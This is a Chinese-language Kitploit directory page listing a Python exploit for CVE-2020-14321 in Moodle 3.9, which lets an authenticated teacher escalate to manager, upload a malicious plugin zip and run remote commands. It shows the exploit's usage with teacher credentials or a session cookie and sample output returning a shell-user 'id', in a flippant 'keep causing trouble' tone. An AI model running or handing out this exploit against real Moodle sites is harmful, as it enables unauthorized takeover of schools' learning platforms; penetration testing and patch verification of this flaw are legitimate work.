Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-14321 — Python script to exploit CVE-2020-14321 - Moodle 3.9 - Course enrollments allowed privilege escalation from teacher role into manager role to RCE. | Kitploit
工具/GitHubGitHub/lanzt/cve-2020-14321
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHublanzt/cve-2020-14321

CVE-2020-14321

Python script to exploit CVE-2020-14321 - Moodle 3.9 - Course enrollments allowed privilege escalation from teacher role into manager role to RCE.

查看仓库
2134年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Python 脚本用于利用 CVE-2020-14321 - Moodle 3.9

课程注册允许从教师角色提权为管理者角色以执行远程代码。

  • 某课程的教师可以在此课程中将自己分配为管理者角色。

Payload 来源:https://github.com/HoangKien1020/CVE-2020-14321

使用方法

如果你有有效的教师凭据(现实生活中尚未充分测试,也可能已经测试过,谁知道呢:P):

root@kitploit:~
❭ python3 CVE-2020-14321_RCE.py http://moodle.site.com/moodle -u lanz -p 'Lanz123$!'

如果你有有效的教师 Cookie(101% 已测试):

root@kitploit:~
❱ python3 CVE-2020-14321_RCE.py http://moodle.site.com/moodle --cookie th3f7k1ngggk00ci30ft3ach3r

...

root@kitploit:~
❱ python3 CVE-2020-14321_RCE.py http://moodle.site.com/moodle --cookie th3f7k1ngggk00ci30ft3ach3r -c id
 __     __     __   __  __   __              __  __     
/  \  /|_  __   _) /  \  _) /  \ __  /| |__|  _)  _) /| 
\__ \/ |__     /__ \__/ /__ \__/      |    | __) /__  | • by lanz

Moodle 3.9 - 远程命令执行(已通过教师身份认证)
课程注册允许从教师角色提权为管理者角色以执行远程代码
                                                        
[+] 登录站点:MoodleSession:th3f7k1ngggk00ci30ft3ach3r ✓
[+] 更新角色以切换至管理者账户:✓
[+] 更新管理者角色以允许安装插件:✓
[+] 上传恶意 .zip 文件:✓
[+] 执行 id:✓

uid=80(www) gid=80(www) groups=80(www)

继续搞事!!

下载工具